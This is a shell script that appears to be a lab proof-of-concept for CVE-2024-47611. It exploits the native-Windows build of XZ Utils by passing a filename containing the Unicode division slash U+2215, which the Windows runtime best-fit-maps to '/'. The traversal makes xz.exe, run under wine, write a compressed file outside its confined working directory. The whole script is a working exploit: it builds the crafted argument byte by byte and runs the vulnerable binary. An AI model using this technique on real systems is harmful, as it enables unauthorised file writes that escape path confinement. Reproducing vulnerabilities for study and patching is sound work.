#!/bin/sh
# CVE-2024-47611 -- XZ Utils native-Windows best-fit argv directory traversal.
#
# Triggers the bug by handing the VULNERABLE xz.exe a SINGLE filename argument
# that contains the Unicode lookalike U+2215 DIVISION SLASH (UTF-8 e2 88 95).
# Under the legacy code page (ACP=1252) the Windows CRT best-fit-maps U+2215 to
# ASCII '/' before main() runs, so the argument "..<U+2215>outside<U+2215>payload"
# is parsed as "../outside/payload" -- a path that climbs OUT of the confined
# working directory /lab/work into the sibling /lab/outside. xz then creates its
# compressed output "../outside/payload.xz" there: an out-of-tree write the
# literal Unicode bytes could never express.
#
# This script supplies ONLY the crafted filename to xz. It does NOT write the
# out-of-tree target (payload.xz) by any other channel -- that file is produced
# solely by xz following the best-fit-rewritten path.
#
#   run.sh <xz_exe> <workdir> <outside_dir> <input_basename> <marker_text>
#
# All environment-specific values are arguments (see exploit.md ## Arguments).
set -eu

XZ_EXE="$1"        # absolute path to the vulnerable xz.exe inside the container
WORKDIR="$2"       # confined working directory xz is launched from (/lab/work)
OUTSIDE="$3"       # out-of-tree sibling directory name as seen from WORKDIR (outside)
INPUT="$4"         # basename of the attacker's plaintext input (e.g. payload)
MARKER="$5"        # marker content placed in the attacker's input file

# Attacker-controlled input: a plaintext file the attacker drops in the shared
# sibling area. This is the INPUT, not the proof target. The proof target is the
# *.xz file that xz will create via the traversal.
OUTSIDE_ABS="$(dirname "$WORKDIR")/$OUTSIDE"
printf '%s\n' "$MARKER" > "$OUTSIDE_ABS/$INPUT"

# Build the crafted filename: ".." <U+2215> OUTSIDE <U+2215> INPUT
# U+2215 = UTF-8 bytes e2 88 95 = octal \342\210\225 (POSIX printf-safe).
CRAFTED="$(printf '..\342\210\225%s\342\210\225%s' "$OUTSIDE" "$INPUT")"

echo ">>> launching VULNERABLE xz from $WORKDIR on crafted filename (U+2215 traversal):"
printf '    arg bytes: '; printf '%s' "$CRAFTED" | od -An -tx1 | tr -d '\n'; echo

# The single exploit action: compress, supplying ONLY the crafted filename.
# Best-fit rewrites U+2215 -> '/', so xz reads ../outside/<input> and writes
# ../outside/<input>.xz -- both outside the confined /lab/work.
wine "$XZ_EXE" -k -v "$CRAFTED"
